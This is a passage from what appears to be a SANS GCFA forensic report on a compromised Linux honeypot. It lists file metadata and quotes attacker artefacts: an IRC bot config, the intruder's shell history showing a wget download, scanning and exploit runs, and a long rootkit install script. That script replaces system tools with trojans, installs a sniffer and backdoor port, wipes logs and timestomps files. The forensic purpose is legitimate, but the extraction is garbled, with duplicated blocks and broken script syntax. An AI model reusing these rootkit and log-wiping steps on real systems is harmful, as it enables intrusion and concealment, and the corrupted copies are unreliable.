- **Last Written:** 06/29/03 03:32:59PM
- **Hash Value:** 01548d54a5a49e4258f86046ded9f8b
- **Physical Size:** 1,024
- **Logical Size:** 6

### 55) mech.session
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.session
- **Entry Modified:** 06/30/03 04:00:00PM
- **Last Accessed:** 06/29/03 04:00:24PM
- **Last Written:** 06/30/03 04:00:00PM
- **Hash Value:** e5da1d9a1274662cbaa181c00e66c875
- **Physical Size:** 1,024
Logical Size 374

Comment: IRC server config file.

```
lkport -1
nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tog SPY 1
channel #selekt
tog AOP 1
tog PROT 1
channel #rastie
tog AOP 1
tog PROT 1
channel #bash-
set MDL 4
set MPL 2
tog AOP 1
tog SHIT 1
tog PROT 1

server XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667
```

56) Name   VERSIONS
Description File
Full Path   Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix.X11-pipe\VERSIONS
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 11/08/00 12:44:24AM
Hash Value 294ba201b5a8be025604510a951c5f50
Physical Size 26,624
Logical Size 25,722

57) Name   randinsult.e
Description File
Full Path   Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix.X11-pipe\randfiles\randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e068376627b4e9c36ebc9f7
Physical Size 4,096
Logical Size 3,982

58) Name   randnicks.e
Description File
Full Path   Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix.X11-pipe\randfiles\randnicks.e
Entry Modified 06/29/03 03:32:50PM
EnCase Computer Analysis Report

Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 9877c324eb9b24b5464f9e3fe4176460
Physical Size 1,024
Logical Size 519

59) Name randsay.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randsay.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 33ea5ec3e5dc626799b5bb567f06d217
Physical Size 56,320
Logical Size 55,316

60) Name randversions.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 0b252e189020453aad18b93913e44ec3
Physical Size 2,048
Logical Size 1,465

61) Name com-ons.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:14:04AM
Hash Value daf8812cc62b784f6d5a10ef388288d7
Physical Size 28,672
Logical Size 28,470

62) Name com-ons.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:22PM
Hash Value 1f39ee4b22d6e67ca4269eccfeda55e
Physical Size 92,160
Logical Size 91,656

63) Name commands.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:15:16AM
Hash Value a1b52263b8a66d7c90fc549ef70230c4
Physical Size 41,984
Logical Size 41,966

64) Name commands.o
Description File
Full Path /Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11- pipe\src\commands.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 02:00:26PM
Hash Value 8ab8813b5d0f080b7aead258c9ffe958
Physical Size 109,568
Logical Size 109,244

65) Name gencmd
Description File
Full Path /Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11- pipe\src\gencmd
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:18PM
Hash Value 6f929c94c8a39954c7099b73c42ebf65
Physical Size 56,320
Logical Size 55,666

66) Name dcc.c
Description File
Full Path /Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11- pipe\src\dcc.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value e079886945868cd72b4452babb0
Physical Size 10,240
Logical Size 9,929

67) Name defines.h
Description File
Full Path /Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11- pipe\src\defines.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 854b211a185d795497cc0a21c778249
Physical Size 5,120
Logical Size 4,508

68) Name debug.o
Description File
Full Path /Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11- pipe\src\debug.o
EnCase Computer Analysis Report

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:28PM
Hash Value  eb3e3d5dadd0e19b6b699a9e24ff790b2
Physical Size  64,512
Logical Size 64,160

69) Name link.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\link.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:32PM
Hash Value 95dfe25136ed4b5b2c53ee8353761a23
Physical Size  97,280
Logical Size 96,896

70) Name global.h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\global.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/26/01 06:12:04PM
Hash Value c0f09ce5d8d0a233cf59a39a8fa089be
Physical Size  12,288
Logical Size 12,044

71) Name link.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\link.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value e6115dc63c46b08546e077a17da645aa
Physical Size  47,104
Logical Size 46,547

72) Name gencmd.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\gencmd.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:30:22AM
Hash Value 07eac92b41b11fc50b02468748b5fdd8
Physical Size  9,216
Logical Size 8,983

73) Name parse.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\parse.o
Entry Modified 06/29/03 03:32:50PM
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>74)</td>
<td>cf文书.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font\unix\X11-pipe\src\cf文书.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:14:22PM</td>
<td>ee752441cd67aec374e1d77ab4630977</td>
<td>17,408</td>
<td>16,951</td>
</tr>
<tr>
<td>75)</td>
<td>cf文书.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font\unix\X11-pipe\src\cf文书.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
<td>0a445c0fa05cf6b6d3c4af0fc99ece2</td>
<td>71,680</td>
<td>71,392</td>
</tr>
<tr>
<td>76)</td>
<td>socket.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font\unix\X11-pipe\src\socket.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>b47201862975f1ee5b78796588822cfd1</td>
<td>11,264</td>
<td>10,616</td>
</tr>
<tr>
<td>77)</td>
<td>services</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font\unix\X11-pipe\inetd\services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2ae6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>78)</td>
<td>userlist.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font\unix\X11-pipe\src\userlist.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2ae6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:36PM
Hash Value 2e7bbeda4579b0c5b9609ad1be0ed02f
Physical Size 74,752
Logical Size 74,592

79) Name usage.h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\font-unix\X11-pipe\src\usage.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 06:28:20AM
Hash Value de328096016c151d99126cb6b4a95
Physical Size 5,120
Logical Size 5,001

80) Name vars.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\font-unix\X11-pipe\src\vars.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 57bdcdba9d9126a49472d854b8a729
Physical Size 10,240
Logical Size 10,190

81) Name xmech.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\font-unix\X11-pipe\src\xmech.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:38PM
Hash Value 43ca3fc3c7b56e00c75677de8ed6c43
Physical Size 86,016
Logical Size 85,984

82) Name Makefile
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\font-unix\X11-pipe\src\Makefile
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 01:50:36PM
Hash Value b0154c6a0911fcbbe31669c9d756753
Physical Size 3,072
Logical Size 3,020

83) Name solo
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\font-unix\samba\solo
Entry Modified 06/29/03 03:41:56PM
Comment: This is an attack script from the samba.tgz file.

```
./samba -v -p $3 -d 300000 -C 99 -b $2 $1
```

84) Name: .bash_history
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history
Entry Modified: 06/29/03 05:21:44PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 06/29/03 05:21:44PM
Hash Value: da617ff22a9bdf3508ada5a86d10217e
Physical Size: 3,072
Logical Size: 2,477


```
unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font-unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./samba -d 0 -S XXX.XXX.54.*
nmap XXX.XXX.69.235
nmap XXX.XXX.61.126
./sys XXX.XXX.61.126

```
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:22:10PM</td>
<td>03/24/02 07:23:19PM</td>
<td>2b008592a46a5a52008ba46a27116833</td>
<td>24,576</td>
<td>20,914</td>
</tr>
</tbody>
</table>

Comment: Root kit files

**s.tar.gz files – infected with Linux RST.B Virus**

Files from s.tar.gz

These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus ([http://www.sophos.com/virusinfo/analyses/linuxrstb.htm](http://www.sophos.com/virusinfo/analyses/linuxrstb.htm)).
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Physical Size 12,288
Logical Size 12,139

Comment: Here is the install script from the s.tar.gz file.

#!/bin/sh

# ===============================================
c1="[0m"
cyne="[36m"
wht="[37m"
hblk="[1;30m"
hgrn="[1;32m"
hcyn="[1;36m"
hwht="[1;37m"
hred="[1;31m"
unset HISTFILE

PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:
/usr/local/sbin:/usr/sbin:/sbin:/usr/bin:
/usr/local/sbin:/usr/local/bin
chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1
chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir >>install.log 2>&1
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
killall -9 portmap 2>>install.log
rm -f ../*.tgz 2>>install.log

if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
    echo "Argh!! .. SysV init not found" >>install.log
    echo "Installation aborted" >>install.log
else
    exit 1
fi

cp -f .1proc /dev/ttyop
cp -f .laddr /dev/ttyoa
cp -f .1file /dev/ttyof
cp -f .1logz /dev/ttyos
touch -acmr /usr/bin/du du >>install.log 2>&1
touch -acmr /usr/bin/find find >>install.log 2>&1
touch -acmr /usr/bin/killall killall >>install.log 2>&1
touch -acmr /bin/netstat netstat >>install.log 2>&1
touch -acmr /bin/ps ps >>install.log 2>&1
touch -acmr /bin/ls ls >>install.log 2>&1
touch -acmr /usr/bin/pstree pstree >>install.log 2>&1
touch -acmr /usr/bin/top top >>install.log 2>&1
touch -acmr /usr/bin/vdir vdir >>install.log 2>&1
sleep 1
echo "Installing trojaned programs"
echo "PS --> OK" >>install.log
else
echo " *** failed ***" >>install.log

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
```bash
#!/usr/bin/env bash

fi

if [ ! -d /usr/include/rpcsvc ]; then
  mkdir -p /usr/include/rpcsvc
fi

if [ ! -x /usr/bin/mtop ]; then
  mv -f /usr/bin/top /usr/bin/mtop
fi

cp -f mtop /usr/bin

echo "MTOP ---> OK" >>install.log
else
  echo "MTOP ---> failed" >>install.log
fi

if [ ! -x /usr/bin/ps ]; then
  mv -f /usr/bin/ps /usr/bin/ps0
fi

cp -f ps /usr/bin

echo "PS ---> OK" >>install.log
else
  echo "PS ---> failed" >>install.log
fi

if [ ! -d /usr/include/rpcsvc ]; then
  mkdir -p /usr/include/rpcsvc
fi

if [ ! -x /usr/bin/mtop ]; then
  mv -f /usr/bin/top /usr/bin/mtop
fi

cp -f mtop /usr/bin

echo "MTOP ---> OK" >>install.log
else
  echo "MTOP ---> failed" >>install.log
fi

if [ ! -x /usr/bin/ps ]; then
  mv -f /usr/bin/ps /usr/bin/ps0
fi

cp -f ps /usr/bin

echo "PS ---> OK" >>install.log
else
  echo "PS ---> failed" >>install.log
fi
```
echo "FIND --- failed" >>install.log
fi

echo "$(cl)$hred|$(cl)$hblk--------$(cl)$whitendu"
if [ ! "$((2>"$d"/dev/null)" ]; then
  if [ ! -f /usr/include/rpcsvc/du ]; then
    mr -f /usr/bin/du /usr/include/rpcsvc/du >>install.log 2>&1
    chmod -x /usr/include/rpcsvc/du
  fi
  cp -f du /usr/bin >>install.log 2>&1
  echo "DU --- OK" >>install.log
else
  echo "$(cl)$hred *** failed ***$(cl)$whitendu"
  echo "DU --- failed" >>install.log
fi

echo "$(cl)$hred|$(cl)$hblk--------$(cl)$whitendu"
if [ ! -x /bin/mnetstat ]; then
  mv -f /bin/netstat /bin/mnetstat >>install.log 2>&1
  cp -f netstat /bin/ >>install.log 2>&1
  echo "NETSTAT --- OK" >>install.log
else
  echo "$(cl)$hred *** failed ***$(cl)$whitendu"
  echo "NETSTAT --- failed" >>install.log
fi

echo "*********** ${cl}${whit}Installing my port"
cd nfsd;./nfsd
sleep 1
echo

echo "*********** ${cl}${whit}Ok, port opened."

echo "Installing Utilities"

cp -f clean /usr/bin >>install.log


cp -f sense /usr/bin >>install.log

cp -f dos/sl2 /usr/bin


cp -f dos/foo /usr/bin

cp dos/st /usr/bin


cp -f dos/v /usr/bin

cp -f -sniffer /usr/bin

echo "== ${cl}${whit}Installing sniffer
mkdir /dev/logs
cp -f linsniffer /usr/bin/lpd >>install.log


touch /dev/logs/tcp.log


mkdir /dev/logs
cp -f linsniffer /usr/bin/lpd >>install.log 2>&1

touch /dev/logs/tcp.log

lpd >>/dev/logs/tcp.log &
echo

if [ ! -d /dev/logs ]; then
echo "$(cl)$hred|$(cl)$hblklCreating Logs DIR" mkdir /dev/logs
else
echo "$(cl)$hred|$(cl)$hblktThe logs dir is already present"
chattr -iau /dev/log
mknod /dev/log /dev/dirllogs
fi

if [ ! "" ]; then
  /usr/bin/crontab -l
  /usr/bin/crontab cron-root
  echo "$(cl)$hred|$(cl)$hblksnpper $(cl)$whitendu
  cron-root >>install.log
  echo "sniper " >> install.log
  echo "sniffer UP"
fi
else
  echo "$\{cl\}$\{hred\}|$\{cl\}$\{hblk\}--$\{cl\}$\{hred\}CronTab is already installed on user -root-$\{cl\}" 
  echo "---------------------------------------------" 
  echo "$\{cl\}$\{hred\}/usr/bin/crontab -l"$\{cl\}" 
  echo "---------------------------------------------" 
fi
else
  echo "$\{cl\}$\{hgrn\}Ports Open$\{cl\}:$\{wht\}" 
  if [ -x /usr/sbin/lsof ]; then
    /usr/sbin/lsof|grep LISTEN 
  else
    /bin/netstat -a|grep LISTEN|grep tcp 
  fi
  echo "$\{cl\}$\{hgrn\}Checking 4 Other RootKITs$\{cl\}:$\{wht\}" 
  if [ -d /dev/ida/.inet ]; then
    echo "$\{cl\}$\{hred\}/dev/ida/.inet$\{cl\}$\{wht\}"
  fi
  if [ -f /usr/bin/hdparm ]; then
    echo "$\{cl\}$\{hred\}/usr/bin/hdparm$\{cl\}$\{wht\}"
  fi
  if [ -d /dev/.rd ]; then
    echo "$\{cl\}$\{hred\}/dev/.rd$\{cl\}$\{wht\}"
  fi
  if [ -d /var/run/.pid ]; then
    echo "$\{cl\}$\{hred\}/var/run/.pid$\{cl\}$\{wht\}"
  fi
  if [ "locate alya.cgi 2>/dev/null" ]; then
    echo "$\{cl\}$\{hred\}/dev/ida/.inet$\{cl\}$\{wht\}"
    locate alya.cgi 2>/dev/null
  fi
  if [ -d /etc/rc.d/init.d/init ]; then
    echo "$\{cl\}$\{hred\}/etc/rc.d/init.d/init$\{cl\}$\{wht\}"
  fi
  if [ "locate c700 2>/dev/null" ]; then
    echo "$\{cl\}$\{hred\}/dev/c700$\{cl\}$\{wht\}"
    locate c700 2>/dev/null|head -n 5
  fi
  if [ "locate zoot 2>/dev/null" ]; then
    echo "$\{cl\}$\{hred\}/dev/zoot$\{cl\}$\{wht\}"
    locate zoot 2>/dev/null|head -n 5
  fi
  if [ "locate rsha 2>/dev/null|egrep -v 'marshal'" ]; then
    echo "$\{cl\}$\{hred\}/dev/rsha$\{cl\}$\{wht\}"
    locate rsha 2>/dev/null|head -n 5
  fi
  if [ "locate xper 2>/dev/null|egrep -v 'fixperm'" ]; then
    echo "$\{cl\}$\{hred\}/dev/xper$\{cl\}$\{wht\}"
    locate xper 2>/dev/null|head -n 5
  fi
  if [ "locate .. 2>/dev/null|egrep -v '1.gz'" ]; then
    echo "$\{cl\}$\{hred\}/dev/Suspected Dirs: $\{cl\}$\{wht\}"
    locate ..|egrep -v '1.gz'|head -n 40
  fi
  if [ "locate tcp.log 2>/dev/null" ] || [ "lsof|grep tcp.log" ] || [ "locate sniffer 2>/dev/null" ]; then

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report  Page 251

```bash
echo "${cl}${hred}Snifferz${cl}${wht}"
echo ---------------------------------------------
locate tcp.log 2>/dev/null
/usr/sbin/lsof|grep tcp.log
locate sniffer 2>/dev/null
echo ---------------------------------------------
fi
if [ "`locate .lproc 2>/dev/null`" ]; then
  echo "${cl}${hred}Possible TK${cl}${wht}"
  echo ---------------------------------------------
  locate .lproc 2>/dev/null
  echo ---------------------------------------------
fi
if [ "`locate adore 2>/dev/null`" ]; then
  echo "${cl}${hred}Possible adore lkm${cl}${wht}"
  echo ---------------------------------------------
  locate adore 2>/dev/null
  echo ---------------------------------------------
fi
if [ "`locate psybnc 2>/dev/null`" ]; then
  echo "${cl}${hred}grr.. a FucKing PsyBNC still around${cl}${wht}"
  echo ---------------------------------------------
  locate psybnc 2>/dev/null|head -n 20
  echo ---------------------------------------------
fi
if [ "`locate mech 2>/dev/null|grep -v 'listmech'`" ]; then
  echo "${cl}${hred}grr.. a fucking mech still around${cl}${wht}"
  echo ---------------------------------------------
  locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
  echo ---------------------------------------------
fi
if [ "`locate eggdrop 2>/dev/null`" ]; then
  echo "${cl}${hred}grr.. a fucking egg still around${cl}${wht}"
  echo ---------------------------------------------
  locate eggdrop 2>/dev/null|head -n 40
  echo ---------------------------------------------
fi
if [ "`ps -ax|grep "/\"|grep -v grep|grep -v install`" ]; then
  echo "${cl}${hred}Suspect Processes:${cl}${wht}"
  echo ---------------------------------------------
  ps -ax|grep "/\"|grep -v grep|grep -v install
  echo ---------------------------------------------
fi
echo
echo "${cl}${hred}/dev filez:${cl}${wht}"
echo ==
find /dev -type f|grep -v MADEDEV|grep -v ttyo|grep -v hds|grep -v killer|grep -v logs
echo ==
/etc/rc.d/init.d/syslog start >>install.log 2>&1
echo >/var/log/messages
echo >/var/log/ boot. log
echo >/var/log/ cron
echo >/var/log/ secure
echo >/var/log/ maillog
chattr +i /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr +i /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir /usr/bin/vdir >>install.log 2>&1
#chattr +i /usr/local/sbin/sshd /usr/sbin/sshd /dev/killer >>install.log 2>&1
echo " Na hai sa ne pisam pe iei-;) ":
echo unset cl cyn wht hblk hgrn hcyn hwht hred
exit 0
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>install.log</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\install.log</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>65025494af2c14aeb979024429159fb8</td>
<td>1,024</td>
<td>510</td>
</tr>
<tr>
<td>.1addr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\1 addr</td>
<td>11/26/02 09:50:52PM</td>
<td>11/26/02 09:50:52PM</td>
<td>11/26/02 09:50:52PM</td>
<td>ad46a56a4269f47eb407ac56d18cd955</td>
<td>1,024</td>
<td>32</td>
</tr>
<tr>
<td>.1logz</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\1 logz</td>
<td>2/29/02 04:32:10PM</td>
<td>2/29/02 04:32:10PM</td>
<td>2/29/02 04:32:10PM</td>
<td>cf49f02b0fd5e45625baa0e3125c878</td>
<td>1,024</td>
<td>68</td>
</tr>
<tr>
<td>clean</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\clean</td>
<td>12/29/02 04:32:10PM</td>
<td>12/29/02 04:32:10PM</td>
<td>12/29/02 04:32:10PM</td>
<td>cf49f02b0fd5e45625baa0e3125c878</td>
<td>1,024</td>
<td>68</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>---------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/06/02 04:26:29AM</td>
<td>9e2970e3a7682440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>6e60f5c0f79a3526005c11821788f73f</td>
<td>32,768</td>
<td>32,539</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>6e60f5c0f79a3526005c11821788f73f</td>
<td>32,768</td>
<td>32,539</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:31:03AM</td>
<td>b33deb299db1aed81866e048416b0bd68</td>
<td>1,024</td>
<td>969</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>db9c510fad6c3c398fd1b0850d0c0b8</td>
<td>19,456</td>
<td>19,291</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>db9c510fad6c3c398fd1b0850d0c0b8</td>
<td>19,456</td>
<td>19,291</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Hash Value</td>
<td></td>
</tr>
<tr>
<td>-------</td>
<td>-------------</td>
<td>-----------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------</td>
<td>---------------</td>
<td>------------</td>
<td></td>
</tr>
<tr>
<td>98) mpstree</td>
<td>Sniffer program</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\mpstree</td>
<td>1,024</td>
<td>443</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>4656231b9f93a9677d3f1685e7f8ca03</td>
<td></td>
</tr>
</tbody>
</table>

```
#!/bin/bash
TERM=linux
cchown root.root *
./p.ssh
sleep 1
chattr -AcdisSu /etc/rc.d/rc.sysinit
echo >>/etc/rc.d/rc.sysinit weit
cat /etc/rc.d/rc.sysinit | grep -v 'wait' > /etc/rc.d/rc.sysinit.old
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
chattr -AcdisSu /usr/bin/* > /dev/null 2>&1
mv weit /usr/bin/weit
touch -acmr /bin/df /usr/bin/weit
chmod +x /usr/bin/weit
/usr/bin/weit
```

<table>
<thead>
<tr>
<th>99) netstat</th>
<th>Description</th>
<th>Full Path</th>
<th>Physical Size</th>
<th>Logical Size</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>100) nfsd</td>
<td>Description</td>
<td>Full Path</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Hash Value</td>
</tr>
</tbody>
